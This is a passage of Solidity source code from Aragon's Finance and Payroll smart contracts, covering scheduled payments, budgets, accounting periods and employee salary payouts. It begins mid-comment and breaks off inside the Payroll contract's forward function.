explicitly check for this case when * granting a permission that includes a upperbound requirement on the interval time. * @param _token Address of token for payment * @param _receiver Address that will receive payment * @param _amount Tokens that are paid every time the payment is due * @param _reference String detailing payment reason */ function newImmediatePayment(address _token, address _receiver, uint256 _amount, string _reference) external // Use MAX_UINT256 as the interval parameter, as this payment will never repeat // Payment time parameter is left as the last param as it was added later authP(CREATE_PAYMENTS_ROLE, _arr(_token, _receiver, _amount, MAX_UINT256, uint256(1), getTimestamp())) transitionsPeriod { require(_amount > 0, ERROR_NEW_PAYMENT_AMOUNT_ZERO); _makePaymentTransaction( _token, _receiver, _amount, NO_SCHEDULED_PAYMENT, // unrelated to any payment id; it isn't created 0, // also unrelated to any payment executions _reference ); } /** * @notice Create a new payment of `@tokenAmount(_token, _amount)` to `_receiver` for `_reference`, executing `_maxExecutions` times at intervals of `@transformTime(_interval)` * @dev See `newImmediatePayment()` for limitations on how the interval auth parameter can be used * @param _token Address of token for payment * @param _receiver Address that will receive payment * @param _amount Tokens that are paid every time the payment is due * @param _initialPaymentTime Timestamp for when the first payment is done * @param _interval Number of seconds that need to pass between payment transactions * @param _maxExecutions Maximum instances a payment can be executed * @param _reference String detailing payment reason */ function newScheduledPayment( address _token, address _receiver, uint256 _amount, uint64 _initialPaymentTime, uint64 _interval, uint64 _maxExecutions, string _reference ) external // Payment time parameter is left as the last param as it was added later authP(CREATE_PAYMENTS_ROLE, _arr(_token, _receiver, _amount, uint256(_interval), uint256(_maxExecutions), uint256(_initialPaymentTime))) transitionsPeriod returns (uint256 paymentId) { require(_amount > 0, ERROR_NEW_PAYMENT_AMOUNT_ZERO); require(_interval > 0, ERROR_NEW_PAYMENT_INTERVAL_ZERO); require(_maxExecutions > 0, ERROR_NEW_PAYMENT_EXECS_ZERO); // Token budget must not be set at all or allow at least one instance of this payment each period require(!settings.hasBudget[_token] || settings.budgets[_token] >= _amount, ERROR_BUDGET); // Don't allow creating single payments that are immediately executable, use `newImmediatePayment()` instead if (_maxExecutions == 1) { require(_initialPaymentTime > getTimestamp64(), ERROR_NEW_PAYMENT_IMMEDIATE); } paymentId = paymentsNextIndex++; emit NewPayment(paymentId, _receiver, _maxExecutions, _reference); ScheduledPayment storage payment = scheduledPayments[paymentId]; payment.token = _token; payment.receiver = _receiver; payment.amount = _amount; payment.initialPaymentTime = _initialPaymentTime; payment.interval = _interval; payment.maxExecutions = _maxExecutions; payment.createdBy = msg.sender; // We skip checking how many times the new payment was executed to allow creating new // scheduled payments before having enough vault balance _executePayment(paymentId); } /** * @notice Change period duration to `@transformTime(_periodDuration)`, effective for next accounting period * @param _periodDuration Duration in seconds for accounting periods */ function setPeriodDuration(uint64 _periodDuration) external authP(CHANGE_PERIOD_ROLE, arr(uint256(_periodDuration), uint256(settings.periodDuration))) transitionsPeriod { require(_periodDuration >= MINIMUM_PERIOD, ERROR_SET_PERIOD_TOO_SHORT); settings.periodDuration = _periodDuration; emit ChangePeriodDuration(_periodDuration); } /** * @notice Set budget for `_token.symbol(): string` to `@tokenAmount(_token, _amount, false)`, effective immediately * @param _token Address for token * @param _amount New budget amount */ function setBudget( address _token, uint256 _amount ) external authP(CHANGE_BUDGETS_ROLE, arr(_token, _amount, settings.budgets[_token], uint256(settings.hasBudget[_token] ? 1 : 0))) transitionsPeriod { settings.budgets[_token] = _amount; if (!settings.hasBudget[_token]) { settings.hasBudget[_token] = true; } emit SetBudget(_token, _amount, true); } /** * @notice Remove spending limit for `_token.symbol(): string`, effective immediately * @param _token Address for token */ function removeBudget(address _token) external authP(CHANGE_BUDGETS_ROLE, arr(_token, uint256(0), settings.budgets[_token], uint256(settings.hasBudget[_token] ? 1 : 0))) transitionsPeriod { settings.budgets[_token] = 0; settings.hasBudget[_token] = false; emit SetBudget(_token, 0, false); } /** * @notice Execute pending payment #`_paymentId` * @dev Executes any payment (requires role) * @param _paymentId Identifier for payment */ function executePayment(uint256 _paymentId) external authP(EXECUTE_PAYMENTS_ROLE, arr(_paymentId, scheduledPayments[_paymentId].amount)) scheduledPaymentExists(_paymentId) transitionsPeriod { _executePaymentAtLeastOnce(_paymentId); } /** * @notice Execute pending payment #`_paymentId` * @dev Always allow receiver of a payment to trigger execution * Initialization check is implicitly provided by `scheduledPaymentExists()` as new * scheduled payments can only be created via `newScheduledPayment(),` which requires initialization * @param _paymentId Identifier for payment */ function receiverExecutePayment(uint256 _paymentId) external scheduledPaymentExists(_paymentId) transitionsPeriod { require(scheduledPayments[_paymentId].receiver == msg.sender, ERROR_PAYMENT_RECEIVER); _executePaymentAtLeastOnce(_paymentId); } /** * @notice `_active ? 'Activate' : 'Disable'` payment #`_paymentId` * @dev Note that we do not require this action to transition periods, as it doesn't directly * impact any accounting periods. * Not having to transition periods also makes disabling payments easier to prevent funds * from being pulled out in the event of a breach. * @param _paymentId Identifier for payment * @param _active Whether it will be active or inactive */ function setPaymentStatus(uint256 _paymentId, bool _active) external authP(MANAGE_PAYMENTS_ROLE, arr(_paymentId, uint256(_active ? 1 : 0))) scheduledPaymentExists(_paymentId) { scheduledPayments[_paymentId].inactive = !_active; emit ChangePaymentState(_paymentId, _active); } /** * @notice Send tokens held in this contract to the Vault * @dev Allows making a simple payment from this contract to the Vault, to avoid locked tokens. * This contract should never receive tokens with a simple transfer call, but in case it * happens, this function allows for their recovery. * @param _token Token whose balance is going to be transferred. */ function recoverToVault(address _token) external isInitialized transitionsPeriod { uint256 amount = _token == ETH ? address(this).balance : ERC20(_token).staticBalanceOf(address(this)); require(amount > 0, ERROR_RECOVER_AMOUNT_ZERO); _deposit( _token, amount, "Recover to Vault", address(this), false ); } /** * @notice Transition accounting period if needed * @dev Transitions accounting periods if needed. For preventing OOG attacks, a maxTransitions * param is provided. If more than the specified number of periods need to be transitioned, * it will return false. * @param _maxTransitions Maximum periods that can be transitioned * @return success Boolean indicating whether the accounting period is the correct one (if false, * maxTransitions was surpased and another call is needed) */ function tryTransitionAccountingPeriod(uint64 _maxTransitions) external isInitialized returns (bool success) { return _tryTransitionAccountingPeriod(_maxTransitions); } // Getter fns /** * @dev Disable recovery escape hatch if the app has been initialized, as it could be used * maliciously to transfer funds in the Finance app to another Vault * finance#recoverToVault() should be used to recover funds to the Finance's vault */ function allowRecoverability(address) public view returns (bool) { return !hasInitialized(); } function getPayment(uint256 _paymentId) public view scheduledPaymentExists(_paymentId) returns ( address token, address receiver, uint256 amount, uint64 initialPaymentTime, uint64 interval, uint64 maxExecutions, bool inactive, uint64 executions, address createdBy ) { ScheduledPayment storage payment = scheduledPayments[_paymentId]; token = payment.token; receiver = payment.receiver; amount = payment.amount; initialPaymentTime = payment.initialPaymentTime; interval = payment.interval; maxExecutions = payment.maxExecutions; executions = payment.executions; inactive = payment.inactive; createdBy = payment.createdBy; } function getTransaction(uint256 _transactionId) public view transactionExists(_transactionId) returns ( uint64 periodId, uint256 amount, uint256 paymentId, uint64 paymentExecutionNumber, address token, address entity, bool isIncoming, uint64 date ) { Transaction storage transaction = transactions[_transactionId]; token = transaction.token; entity = transaction.entity; isIncoming = transaction.isIncoming; date = transaction.date; periodId = transaction.periodId; amount = transaction.amount; paymentId = transaction.paymentId; paymentExecutionNumber = transaction.paymentExecutionNumber; } function getPeriod(uint64 _periodId) public view periodExists(_periodId) returns ( bool isCurrent, uint64 startTime, uint64 endTime, uint256 firstTransactionId, uint256 lastTransactionId ) { Period storage period = periods[_periodId]; isCurrent = _currentPeriodId() == _periodId; startTime = period.startTime; endTime = period.endTime; firstTransactionId = period.firstTransactionId; lastTransactionId = period.lastTransactionId; } function getPeriodTokenStatement(uint64 _periodId, address _token) public view periodExists(_periodId) returns (uint256 expenses, uint256 income) { TokenStatement storage tokenStatement = periods[_periodId].tokenStatement[_token]; expenses = tokenStatement.expenses; income = tokenStatement.income; } /** * @dev We have to check for initialization as periods are only valid after initializing */ function currentPeriodId() public view isInitialized returns (uint64) { return _currentPeriodId(); } /** * @dev We have to check for initialization as periods are only valid after initializing */ function getPeriodDuration() public view isInitialized returns (uint64) { return settings.periodDuration; } /** * @dev We have to check for initialization as budgets are only valid after initializing */ function getBudget(address _token) public view isInitialized returns (uint256 budget, bool hasBudget) { budget = settings.budgets[_token]; hasBudget = settings.hasBudget[_token]; } /** * @dev We have to check for initialization as budgets are only valid after initializing */ function getRemainingBudget(address _token) public view isInitialized returns (uint256) { return _getRemainingBudget(_token); } /** * @dev We have to check for initialization as budgets are only valid after initializing */ function canMakePayment(address _token, uint256 _amount) public view isInitialized returns (bool) { return _canMakePayment(_token, _amount); } /** * @dev Initialization check is implicitly provided by `scheduledPaymentExists()` as new * scheduled payments can only be created via `newScheduledPayment(),` which requires initialization */ function nextPaymentTime(uint256 _paymentId) public view scheduledPaymentExists(_paymentId) returns (uint64) { return _nextPaymentTime(_paymentId); } // Internal fns function _deposit(address _token, uint256 _amount, string _reference, address _sender, bool _isExternalDeposit) internal { _recordIncomingTransaction( _token, _sender, _amount, _reference ); if (_token == ETH) { vault.deposit.value(_amount)(ETH, _amount); } else { // First, transfer the tokens to Finance if necessary // External deposit will be false when the assets were already in the Finance app // and just need to be transferred to the Vault if (_isExternalDeposit) { // This assumes the sender has approved the tokens for Finance require( ERC20(_token).safeTransferFrom(msg.sender, address(this), _amount), ERROR_TOKEN_TRANSFER_FROM_REVERTED ); } // Approve the tokens for the Vault (it does the actual transferring) require(ERC20(_token).safeApprove(vault, _amount), ERROR_TOKEN_APPROVE_FAILED); // Finally, initiate the deposit vault.deposit(_token, _amount); } } function _executePayment(uint256 _paymentId) internal returns (uint256) { ScheduledPayment storage payment = scheduledPayments[_paymentId]; require(!payment.inactive, ERROR_PAYMENT_INACTIVE); uint64 paid = 0; while (_nextPaymentTime(_paymentId) <= getTimestamp64() && paid < MAX_SCHEDULED_PAYMENTS_PER_TX) { if (!_canMakePayment(payment.token, payment.amount)) { emit PaymentFailure(_paymentId); break; } // The while() predicate prevents these two from ever overflowing payment.executions += 1; paid += 1; // We've already checked the remaining budget with `_canMakePayment()` _unsafeMakePaymentTransaction( payment.token, payment.receiver, payment.amount, _paymentId, payment.executions, "" ); } return paid; } function _executePaymentAtLeastOnce(uint256 _paymentId) internal { uint256 paid = _executePayment(_paymentId); if (paid == 0) { if (_nextPaymentTime(_paymentId) <= getTimestamp64()) { revert(ERROR_EXECUTE_PAYMENT_NUM); } else { revert(ERROR_EXECUTE_PAYMENT_TIME); } } } function _makePaymentTransaction( address _token, address _receiver, uint256 _amount, uint256 _paymentId, uint64 _paymentExecutionNumber, string _reference ) internal { require(_getRemainingBudget(_token) >= _amount, ERROR_REMAINING_BUDGET); _unsafeMakePaymentTransaction(_token, _receiver, _amount, _paymentId, _paymentExecutionNumber, _reference); } /** * @dev Unsafe version of _makePaymentTransaction that assumes you have already checked the * remaining budget */ function _unsafeMakePaymentTransaction( address _token, address _receiver, uint256 _amount, uint256 _paymentId, uint64 _paymentExecutionNumber, string _reference ) internal { _recordTransaction( false, _token, _receiver, _amount, _paymentId, _paymentExecutionNumber, _reference ); vault.transfer(_token, _receiver, _amount); } function _newPeriod(uint64 _startTime) internal returns (Period storage) { // There should be no way for this to overflow since each period is at least one day uint64 newPeriodId = periodsLength++; Period storage period = periods[newPeriodId]; period.startTime = _startTime; // Be careful here to not overflow; if startTime + periodDuration overflows, we set endTime // to MAX_UINT64 (let's assume that's the end of time for now). uint64 endTime = _startTime + settings.periodDuration - 1; if (endTime < _startTime) { // overflowed endTime = MAX_UINT64; } period.endTime = endTime; emit NewPeriod(newPeriodId, period.startTime, period.endTime); return period; } function _recordIncomingTransaction( address _token, address _sender, uint256 _amount, string _reference ) internal { _recordTransaction( true, // incoming transaction _token, _sender, _amount, NO_SCHEDULED_PAYMENT, // unrelated to any existing payment 0, // and no payment executions _reference ); } function _recordTransaction( bool _incoming, address _token, address _entity, uint256 _amount, uint256 _paymentId, uint64 _paymentExecutionNumber, string _reference ) internal { uint64 periodId = _currentPeriodId(); TokenStatement storage tokenStatement = periods[periodId].tokenStatement[_token]; if (_incoming) { tokenStatement.income = tokenStatement.income.add(_amount); } else { tokenStatement.expenses = tokenStatement.expenses.add(_amount); } uint256 transactionId = transactionsNextIndex++; Transaction storage transaction = transactions[transactionId]; transaction.token = _token; transaction.entity = _entity; transaction.isIncoming = _incoming; transaction.amount = _amount; transaction.paymentId = _paymentId; transaction.paymentExecutionNumber = _paymentExecutionNumber; transaction.date = getTimestamp64(); transaction.periodId = periodId; Period storage period = periods[periodId]; if (period.firstTransactionId == NO_TRANSACTION) { period.firstTransactionId = transactionId; } emit NewTransaction(transactionId, _incoming, _entity, _amount, _reference); } function _tryTransitionAccountingPeriod(uint64 _maxTransitions) internal returns (bool success) { Period storage currentPeriod = periods[_currentPeriodId()]; uint64 timestamp = getTimestamp64(); // Transition periods if necessary while (timestamp > currentPeriod.endTime) { if (_maxTransitions == 0) { // Required number of transitions is over allowed number, return false indicating // it didn't fully transition return false; } // We're already protected from underflowing above _maxTransitions -= 1; // If there were any transactions in period, record which was the last // In case 0 transactions occured, first and last tx id will be 0 if (currentPeriod.firstTransactionId != NO_TRANSACTION) { currentPeriod.lastTransactionId = transactionsNextIndex.sub(1); } // New period starts at end time + 1 currentPeriod = _newPeriod(currentPeriod.endTime.add(1)); } return true; } function _canMakePayment(address _token, uint256 _amount) internal view returns (bool) { return _getRemainingBudget(_token) >= _amount && vault.balance(_token) >= _amount; } function _currentPeriodId() internal view returns (uint64) { // There is no way for this to overflow if protected by an initialization check return periodsLength - 1; } function _getRemainingBudget(address _token) internal view returns (uint256) { if (!settings.hasBudget[_token]) { return MAX_UINT256; } uint256 budget = settings.budgets[_token]; uint256 spent = periods[_currentPeriodId()].tokenStatement[_token].expenses; // A budget decrease can cause the spent amount to be greater than period budget // If so, return 0 to not allow more spending during period if (spent >= budget) { return 0; } // We're already protected from the overflow above return budget - spent; } function _nextPaymentTime(uint256 _paymentId) internal view returns (uint64) { ScheduledPayment storage payment = scheduledPayments[_paymentId]; if (payment.executions >= payment.maxExecutions) { return MAX_UINT64; // re-executes in some billions of years time... should not need to worry } // Split in multiple lines to circumvent linter warning uint64 increase = payment.executions.mul(payment.interval); uint64 nextPayment = payment.initialPaymentTime.add(increase); return nextPayment; } // Syntax sugar function _arr(address _a, address _b, uint256 _c, uint256 _d, uint256 _e, uint256 _f) internal pure returns (uint256[] r) { r = new uint256[](6); r[0] = uint256(_a); r[1] = uint256(_b); r[2] = _c; r[3] = _d; r[4] = _e; r[5] = _f; } // Mocked fns (overrided during testing) // Must be view for mocking purposes function getMaxPeriodTransitions() internal view returns (uint64) { return MAX_UINT64; } } // File: @aragon/apps-payroll/contracts/Payroll.sol pragma solidity 0.4.24; /** * @title Payroll in multiple currencies */ contract Payroll is EtherTokenConstant, IForwarder, IsContract, AragonApp { using SafeMath for uint256; using SafeMath64 for uint64; /* Hardcoded constants to save gas * bytes32 constant public ADD_EMPLOYEE_ROLE = keccak256("ADD_EMPLOYEE_ROLE"); * bytes32 constant public TERMINATE_EMPLOYEE_ROLE = keccak256("TERMINATE_EMPLOYEE_ROLE"); * bytes32 constant public SET_EMPLOYEE_SALARY_ROLE = keccak256("SET_EMPLOYEE_SALARY_ROLE"); * bytes32 constant public ADD_BONUS_ROLE = keccak256("ADD_BONUS_ROLE"); * bytes32 constant public ADD_REIMBURSEMENT_ROLE = keccak256("ADD_REIMBURSEMENT_ROLE"); * bytes32 constant public MANAGE_ALLOWED_TOKENS_ROLE = keccak256("MANAGE_ALLOWED_TOKENS_ROLE"); * bytes32 constant public MODIFY_PRICE_FEED_ROLE = keccak256("MODIFY_PRICE_FEED_ROLE"); * bytes32 constant public MODIFY_RATE_EXPIRY_ROLE = keccak256("MODIFY_RATE_EXPIRY_ROLE"); */ bytes32 constant public ADD_EMPLOYEE_ROLE = 0x9ecdc3c63716b45d0756eece5fe1614cae1889ec5a1ce62b3127c1f1f1615d6e; bytes32 constant public TERMINATE_EMPLOYEE_ROLE = 0x69c67f914d12b6440e7ddf01961214818d9158fbcb19211e0ff42800fdea9242; bytes32 constant public SET_EMPLOYEE_SALARY_ROLE = 0xea9ac65018da2421cf419ee2152371440c08267a193a33ccc1e39545d197e44d; bytes32 constant public ADD_BONUS_ROLE = 0xceca7e2f5eb749a87aaf68f3f76d6b9251aa2f4600f13f93c5a4adf7a72df4ae; bytes32 constant public ADD_REIMBURSEMENT_ROLE = 0x90698b9d54427f1e41636025017309bdb1b55320da960c8845bab0a504b01a16; bytes32 constant public MANAGE_ALLOWED_TOKENS_ROLE = 0x0be34987c45700ee3fae8c55e270418ba903337decc6bacb1879504be9331c06; bytes32 constant public MODIFY_PRICE_FEED_ROLE = 0x74350efbcba8b85341c5bbf70cc34e2a585fc1463524773a12fa0a71d4eb9302; bytes32 constant public MODIFY_RATE_EXPIRY_ROLE = 0x79fe989a8899060dfbdabb174ebb96616fa9f1d9dadd739f8d814cbab452404e; uint256 internal constant MAX_ALLOWED_TOKENS = 20; // prevent OOG issues with `payday()` uint64 internal constant MIN_RATE_EXPIRY = uint64(1 minutes); // 1 min == ~4 block window to mine both a price feed update and a payout uint256 internal constant MAX_UINT256 = uint256(-1); uint64 internal constant MAX_UINT64 = uint64(-1); string private constant ERROR_EMPLOYEE_DOESNT_EXIST = "PAYROLL_EMPLOYEE_DOESNT_EXIST"; string private constant ERROR_NON_ACTIVE_EMPLOYEE = "PAYROLL_NON_ACTIVE_EMPLOYEE"; string private constant ERROR_SENDER_DOES_NOT_MATCH = "PAYROLL_SENDER_DOES_NOT_MATCH"; string private constant ERROR_FINANCE_NOT_CONTRACT = "PAYROLL_FINANCE_NOT_CONTRACT"; string private constant ERROR_TOKEN_ALREADY_SET = "PAYROLL_TOKEN_ALREADY_SET"; string private constant ERROR_MAX_ALLOWED_TOKENS = "PAYROLL_MAX_ALLOWED_TOKENS"; string private constant ERROR_MIN_RATES_MISMATCH = "PAYROLL_MIN_RATES_MISMATCH"; string private constant ERROR_TOKEN_ALLOCATION_MISMATCH = "PAYROLL_TOKEN_ALLOCATION_MISMATCH"; string private constant ERROR_NOT_ALLOWED_TOKEN = "PAYROLL_NOT_ALLOWED_TOKEN"; string private constant ERROR_DISTRIBUTION_NOT_FULL = "PAYROLL_DISTRIBUTION_NOT_FULL"; string private constant ERROR_INVALID_PAYMENT_TYPE = "PAYROLL_INVALID_PAYMENT_TYPE"; string private constant ERROR_NOTHING_PAID = "PAYROLL_NOTHING_PAID"; string private constant ERROR_CAN_NOT_FORWARD = "PAYROLL_CAN_NOT_FORWARD"; string private constant ERROR_EMPLOYEE_NULL_ADDRESS = "PAYROLL_EMPLOYEE_NULL_ADDRESS"; string private constant ERROR_EMPLOYEE_ALREADY_EXIST = "PAYROLL_EMPLOYEE_ALREADY_EXIST"; string private constant ERROR_FEED_NOT_CONTRACT = "PAYROLL_FEED_NOT_CONTRACT"; string private constant ERROR_EXPIRY_TIME_TOO_SHORT = "PAYROLL_EXPIRY_TIME_TOO_SHORT"; string private constant ERROR_PAST_TERMINATION_DATE = "PAYROLL_PAST_TERMINATION_DATE"; string private constant ERROR_EXCHANGE_RATE_TOO_LOW = "PAYROLL_EXCHANGE_RATE_TOO_LOW"; string private constant ERROR_LAST_PAYROLL_DATE_TOO_BIG = "PAYROLL_LAST_DATE_TOO_BIG"; string private constant ERROR_INVALID_REQUESTED_AMOUNT = "PAYROLL_INVALID_REQUESTED_AMT"; enum PaymentType { Payroll, Reimbursement, Bonus } struct Employee { address accountAddress; // unique, but can be changed over time uint256 denominationTokenSalary; // salary per second in denomination Token uint256 accruedSalary; // keep track of any leftover accrued salary when changing salaries uint256 bonus; uint256 reimbursements; uint64 lastPayroll; uint64 endDate; address[] allocationTokenAddresses; mapping(address => uint256) allocationTokens; } Finance public finance; address public denominationToken; IFeed public feed; uint64 public rateExpiryTime; // Employees start at index 1, to allow us to use employees[0] to check for non-existent employees uint256 public nextEmployee; mapping(uint256 => Employee) internal employees; // employee ID -> employee mapping(address => uint256) internal employeeIds; // employee address -> employee ID mapping(address => bool) internal allowedTokens; event AddEmployee( uint256 indexed employeeId, address indexed accountAddress, uint256 initialDenominationSalary, uint64 startDate, string role ); event TerminateEmployee(uint256 indexed employeeId, uint64 endDate); event SetEmployeeSalary(uint256 indexed employeeId, uint256 denominationSalary); event AddEmployeeAccruedSalary(uint256 indexed employeeId, uint256 amount); event AddEmployeeBonus(uint256 indexed employeeId, uint256 amount); event AddEmployeeReimbursement(uint256 indexed employeeId, uint256 amount); event ChangeAddressByEmployee(uint256 indexed employeeId, address indexed newAccountAddress, address indexed oldAccountAddress); event DetermineAllocation(uint256 indexed employeeId); event SendPayment( uint256 indexed employeeId, address indexed accountAddress, address indexed token, uint256 amount, uint256 exchangeRate, string paymentReference ); event SetAllowedToken(address indexed token, bool allowed); event SetPriceFeed(address indexed feed); event SetRateExpiryTime(uint64 time); // Check employee exists by ID modifier employeeIdExists(uint256 _employeeId) { require(_employeeExists(_employeeId), ERROR_EMPLOYEE_DOESNT_EXIST); _; } // Check employee exists and is still active modifier employeeActive(uint256 _employeeId) { // No need to check for existence as _isEmployeeIdActive() is false for non-existent employees require(_isEmployeeIdActive(_employeeId), ERROR_NON_ACTIVE_EMPLOYEE); _; } // Check sender matches an existing employee modifier employeeMatches { require(employees[employeeIds[msg.sender]].accountAddress == msg.sender, ERROR_SENDER_DOES_NOT_MATCH); _; } /** * @notice Initialize Payroll app for Finance at `_finance` and price feed at `_priceFeed`, setting denomination token to `_token` and exchange rate expiry time to `@transformTime(_rateExpiryTime)` * @dev Note that we do not require _denominationToken to be a contract, as it may be a "fake" * address used by the price feed to denominate fiat currencies * @param _finance Address of the Finance app this Payroll app will rely on for payments (non-changeable) * @param _denominationToken Address of the denomination token used for salary accounting * @param _priceFeed Address of the price feed * @param _rateExpiryTime Acceptable expiry time in seconds for the price feed's exchange rates */ function initialize(Finance _finance, address _denominationToken, IFeed _priceFeed, uint64 _rateExpiryTime) external onlyInit { initialized(); require(isContract(_finance), ERROR_FINANCE_NOT_CONTRACT); finance = _finance; denominationToken = _denominationToken; _setPriceFeed(_priceFeed); _setRateExpiryTime(_rateExpiryTime); // Employees start at index 1, to allow us to use employees[0] to check for non-existent employees nextEmployee = 1; } /** * @notice `_allowed ? 'Add' : 'Remove'` `_token.symbol(): string` `_allowed ? 'to' : 'from'` the set of allowed tokens * @param _token Address of the token to be added or removed from the list of allowed tokens for payments * @param _allowed Boolean to tell whether the given token should be added or removed from the list */ function setAllowedToken(address _token, bool _allowed) external authP(MANAGE_ALLOWED_TOKENS_ROLE, arr(_token)) { require(allowedTokens[_token] != _allowed, ERROR_TOKEN_ALREADY_SET); allowedTokens[_token] = _allowed; emit SetAllowedToken(_token, _allowed); } /** * @notice Set the price feed for exchange rates to `_feed` * @param _feed Address of the new price feed instance */ function setPriceFeed(IFeed _feed) external authP(MODIFY_PRICE_FEED_ROLE, arr(_feed, feed)) { _setPriceFeed(_feed); } /** * @notice Set the acceptable expiry time for the price feed's exchange rates to `@transformTime(_time)` * @dev Exchange rates older than the given value won't be accepted for payments and will cause payouts to revert * @param _time The expiration time in seconds for exchange rates */ function setRateExpiryTime(uint64 _time) external authP(MODIFY_RATE_EXPIRY_ROLE, arr(uint256(_time), uint256(rateExpiryTime))) { _setRateExpiryTime(_time); } /** * @notice Add employee with address `_accountAddress` to payroll with an salary of `_initialDenominationSalary` per second, starting on `@formatDate(_startDate)` * @param _accountAddress Employee's address to receive payroll * @param _initialDenominationSalary Employee's salary, per second in denomination token * @param _startDate Employee's starting timestamp in seconds (it actually sets their initial lastPayroll value) * @param _role Employee's role */ function addEmployee(address _accountAddress, uint256 _initialDenominationSalary, uint64 _startDate, string _role) external authP(ADD_EMPLOYEE_ROLE, arr(_accountAddress, _initialDenominationSalary, uint256(_startDate))) { _addEmployee(_accountAddress, _initialDenominationSalary, _startDate, _role); } /** * @notice Add `_amount` to bonus for employee #`_employeeId` * @param _employeeId Employee's identifier * @param _amount Amount to be added to the employee's bonuses in denomination token */ function addBonus(uint256 _employeeId, uint256 _amount) external authP(ADD_BONUS_ROLE, arr(_employeeId, _amount)) employeeActive(_employeeId) { _addBonus(_employeeId, _amount); } /** * @notice Add `_amount` to reimbursements for employee #`_employeeId` * @param _employeeId Employee's identifier * @param _amount Amount to be added to the employee's reimbursements in denomination token */ function addReimbursement(uint256 _employeeId, uint256 _amount) external authP(ADD_REIMBURSEMENT_ROLE, arr(_employeeId, _amount)) employeeActive(_employeeId) { _addReimbursement(_employeeId, _amount); } /** * @notice Set employee #`_employeeId`'s salary to `_denominationSalary` per second * @dev This reverts if either the employee's owed salary or accrued salary overflows, to avoid * losing any accrued salary for an employee due to the employer changing their salary. * @param _employeeId Employee's identifier * @param _denominationSalary Employee's new salary, per second in denomination token */ function setEmployeeSalary(uint256 _employeeId, uint256 _denominationSalary) external authP(SET_EMPLOYEE_SALARY_ROLE, arr(_employeeId, _denominationSalary, employees[_employeeId].denominationTokenSalary)) employeeActive(_employeeId) { Employee storage employee = employees[_employeeId]; // Accrue employee's owed salary; don't cap to revert on overflow uint256 owed = _getOwedSalarySinceLastPayroll(employee, false); _addAccruedSalary(_employeeId, owed); // Update employee to track the new salary and payment date employee.lastPayroll = getTimestamp64(); employee.denominationTokenSalary = _denominationSalary; emit SetEmployeeSalary(_employeeId, _denominationSalary); } /** * @notice Terminate employee #`_employeeId` on `@formatDate(_endDate)` * @param _employeeId Employee's identifier * @param _endDate Termination timestamp in seconds */ function terminateEmployee(uint256 _employeeId, uint64 _endDate) external authP(TERMINATE_EMPLOYEE_ROLE, arr(_employeeId, uint256(_endDate))) employeeActive(_employeeId) { _terminateEmployee(_employeeId, _endDate); } /** * @notice Change your employee account address to `_newAccountAddress` * @dev Initialization check is implicitly provided by `employeeMatches` as new employees can * only be added via `addEmployee(),` which requires initialization. * As the employee is allowed to call this, we enforce non-reentrancy. * @param _newAccountAddress New address to receive payments for the requesting employee */ function changeAddressByEmployee(address _newAccountAddress) external employeeMatches nonReentrant { uint256 employeeId = employeeIds[msg.sender]; address oldAddress = employees[employeeId].accountAddress; _setEmployeeAddress(employeeId, _newAccountAddress); // Don't delete the old address until after setting the new address to check that the // employee specified a new address delete employeeIds[oldAddress]; emit ChangeAddressByEmployee(employeeId, _newAccountAddress, oldAddress); } /** * @notice Set the token distribution for your payments * @dev Initialization check is implicitly provided by `employeeMatches` as new employees can * only be added via `addEmployee(),` which requires initialization. * As the employee is allowed to call this, we enforce non-reentrancy. * @param _tokens Array of token addresses; they must belong to the list of allowed tokens * @param _distribution Array with each token's corresponding proportions (must be integers summing to 100) */ function determineAllocation(address[] _tokens, uint256[] _distribution) external employeeMatches nonReentrant { // Check array lengthes match require(_tokens.length <= MAX_ALLOWED_TOKENS, ERROR_MAX_ALLOWED_TOKENS); require(_tokens.length == _distribution.length, ERROR_TOKEN_ALLOCATION_MISMATCH); uint256 employeeId = employeeIds[msg.sender]; Employee storage employee = employees[employeeId]; // Delete previous token allocations address[] memory previousAllowedTokenAddresses = employee.allocationTokenAddresses; for (uint256 j = 0; j < previousAllowedTokenAddresses.length; j++) { delete employee.allocationTokens[previousAllowedTokenAddresses[j]]; } delete employee.allocationTokenAddresses; // Set distributions only if given tokens are allowed for (uint256 i = 0; i < _tokens.length; i++) { employee.allocationTokenAddresses.push(_tokens[i]); employee.allocationTokens[_tokens[i]] = _distribution[i]; } _ensureEmployeeTokenAllocationsIsValid(employee); emit DetermineAllocation(employeeId); } /** * @notice Request your `_type == 0 ? 'salary' : _type == 1 ? 'reimbursements' : 'bonus'` * @dev Reverts if no payments were made. * Initialization check is implicitly provided by `employeeMatches` as new employees can * only be added via `addEmployee(),` which requires initialization. * As the employee is allowed to call this, we enforce non-reentrancy. * @param _type Payment type being requested (Payroll, Reimbursement or Bonus) * @param _requestedAmount Requested amount to pay for the payment type. Must be less than or equal to total owed amount for the payment type, or zero to request all. * @param _minRates Array of employee's minimum acceptable rates for their allowed payment tokens */ function payday(PaymentType _type, uint256 _requestedAmount, uint256[] _minRates) external employeeMatches nonReentrant { uint256 paymentAmount; uint256 employeeId = employeeIds[msg.sender]; Employee storage employee = employees[employeeId]; _ensureEmployeeTokenAllocationsIsValid(employee); require(_minRates.length == 0 || _minRates.length == employee.allocationTokenAddresses.length, ERROR_MIN_RATES_MISMATCH); // Do internal employee accounting if (_type == PaymentType.Payroll) { // Salary is capped here to avoid reverting at this point if it becomes too big // (so employees aren't DDOSed if their salaries get too large) // If we do use a capped value, the employee's lastPayroll date will be adjusted accordingly uint256 totalOwedSalary = _getTotalOwedCappedSalary(employee); paymentAmount = _ensurePaymentAmount(totalOwedSalary, _requestedAmount); _updateEmployeeAccountingBasedOnPaidSalary(employee, paymentAmount); } else if (_type == PaymentType.Reimbursement) { uint256 owedReimbursements = employee.reimbursements; paymentAmount = _ensurePaymentAmount(owedReimbursements, _requestedAmount); employee.reimbursements = owedReimbursements.sub(paymentAmount); } else if (_type == PaymentType.Bonus) { uint256 owedBonusAmount = employee.bonus; paymentAmount = _ensurePaymentAmount(owedBonusAmount, _requestedAmount); employee.bonus = owedBonusAmount.sub(paymentAmount); } else { revert(ERROR_INVALID_PAYMENT_TYPE); } // Actually transfer the owed funds require(_transferTokensAmount(employeeId, _type, paymentAmount, _minRates), ERROR_NOTHING_PAID); _removeEmployeeIfTerminatedAndPaidOut(employeeId); } // Forwarding fns /** * @dev IForwarder interface conformance. Tells whether the Payroll app is a forwarder or not. * @return Always true */ function isForwarder() external pure returns (bool) { return true; } /** * @notice Execute desired action as an active employee * @dev IForwarder interface conformance. Allows active employees to run EVMScripts in the context of the Payroll app. * @param _evmScript Script being executed */ function forward(bytes _evmScript) public { require(canForward(msg.sender, _evmScript), 